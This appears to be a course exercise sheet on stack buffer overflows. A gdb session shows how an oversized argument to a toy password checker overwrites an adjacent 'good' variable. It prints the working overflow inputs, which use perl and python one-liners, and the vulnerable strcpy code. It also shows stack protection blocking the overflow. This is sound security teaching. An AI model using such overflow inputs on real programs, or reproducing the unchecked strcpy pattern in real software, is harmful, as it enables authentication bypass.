Try to compile and run the program code1.c 

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
1) Learn how to use a main with arguments (argc, argv)
You can read Stevens/Rago book on environment or search the internet.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
2) Explain why if you install python and run the program as
a) ./a.out $(python -c "print 'AAAAAAAAAA'+3*'\x01'")
OR if we run: (using perl/awk etc)
b) ./a.out  AAAAAAAAAA$(perl -e 'print "\x01\x01\x01"')
OR even
c) ./a.out  AAAAAAAAAABB$(perl -e 'print "\x01"')
we always get:
 Password OK
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
3) Can you guess the password (so that the program says Password OK)?
   Maybe you can gdb tutorial (steps A to E below) to understand how to modify
variables, registers etc while the program is running? This tutorial can help you
understand why 2 is possible.

A)
gcc -D_LIBC_REENTRANT -g code1.c
gcc -g code1.c
gdb ./a.out

(gdb) list
5       {
6         int good=0;
7         char password[10];
8
9         strcpy(password, pass);
10        if (!strcmp(password,"passw0rd"))
11          good=1;
12        if ( good == 1 )
13          printf("Password OK\n");
14        else
(gdb) break 10
Breakpoint 1 at 0x400613: file code1.c, line 10.

(gdb) run AAAAA
Starting program: /home/grammatikakis/trescca/DENIAL_OF_SERVICE_CODE/SW_VULN/a.out AAAAA
Got object file from memory but can't read symbols: File truncated.

Breakpoint 1, check_password (pass=0x7fffffffe159 "AAAAA") at code1.c:10
10        if (!strcmp(password,"passw0rd"))
(gdb) x/x &good
0x7fffffffdb6c: 0x00000000
(gdb) x/x &password
0x7fffffffdb60: 0x41414141
(gdb) x/x password
0x7fffffffdb60: 0x41414141
(gdb) x/12xw $sp
0x7fffffffdb50: 0x00000001      0x00000000      0xffffe158      0x00007fff
0x7fffffffdb60: 0x41414141      0x00004141      0x00000000      0x00000000
-=-=-=-=-=-=-=-=-=********            **** NOTICE, this is char A in ascii (41 hex)
0x7fffffffdb70: 0xffffdb90      0x00007fff      0x0040067c      0x00000000
(gdb) n
12        if ( good == 1 )
(gdb) x/x &good
0x7fffffffdb6c: 0x00000000
(gdb) n
15          printf("Password KO\n");
(gdb) 
Password KO
16      }
(gdb) 


B) ALMOST THERE

(gdb) run AAAAAAAAAA$(perl -e 'print "\x01"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/grammatikakis/trescca/DENIAL_OF_SERVICE_CODE/SW_VULN/a.out AAAAAAAAAA$(perl -e 'print "\x01"')
Got object file from memory but can't read symbols: File truncated.

Breakpoint 1, check_password (pass=0x7fffffffe153 "AAAAAAAAAA\001") at code1.c:10
10        if (!strcmp(password,"passw0rd"))
(gdb) x/x &good    
0x7fffffffdb6c: 0x00000000
(gdb) x/x &password
0x7fffffffdb60: 0x41414141
(gdb) x/12xw $sp
0x7fffffffdb50: 0x00000001      0x00000000      0xffffe153      0x00007fff
0x7fffffffdb60: 0x41414141      0x41414141      0x00014141      0x00000000
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=** NOTICE
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=** NOTICE   ^^ <- good var (since good is 0x7fffffffdb6c)
0x7fffffffdb70: 0xffffdb90      0x00007fff      0x0040067c      0x00000000
(gdb) n
12        if ( good == 1 )
(gdb) 


C) DONE!
(gdb) run AAAAAAAAAA$(perl -e 'print "\x01\x01\x01"')          
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/grammatikakis/trescca/DENIAL_OF_SERVICE_CODE/SW_VULN/a.out AAAAAAAAAA$(perl -e 'print "\x01\x01\x01"')
Got object file from memory but can't read symbols: File truncated.

Breakpoint 1, check_password (pass=0x7fffffffe151 "AAAAAAAAAA\001\001\001") at code1.c:10
10        if (!strcmp(password,"passw0rd"))
(gdb) x/x &good
0x7fffffffdb6c: 0x00000001
(gdb) x/x &password
0x7fffffffdb60: 0x41414141
(gdb) x/12xw $sp
0x7fffffffdb50: 0x00000001      0x00000000      0xffffe151      0x00007fff
0x7fffffffdb60: 0x41414141      0x41414141      0x01014141      0x00000001
0x7fffffffdb70: 0xffffdb90      0x00007fff      0x0040067c      0x00000000
(gdb) n
12        if ( good == 1 )
(gdb) n
13          printf("Password OK\n");
(gdb) n
Password OK

D) Thus 
gcc -g code1.c
./a.out AAAAAAAAAA$(perl -e 'print "\x01\x01\x01"')
Password OK

E)
gcc -g -fstack-protector-all code1.c
./a.out AAAAAAAAAA$(perl -e 'print "\x01\x01\x01"')
Password KO
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
4) Can you do something to protect against this specific issue?
   What about overwriting function arguments, functions. Can you protect from stack overflow?
   What about overwriting process protection flags? Where are these flags located? How to attack?
   Can you protect? What does devmem/devmem2 programs do?
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
5) Read more about gdb, more commands, info registers, flags etc
   Read about x86 assembly. How is this different from x86_64?
   Read also a bit of Arduino (8-bit) or ARM assembly. Dissasmble or use gcc -S to view code.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
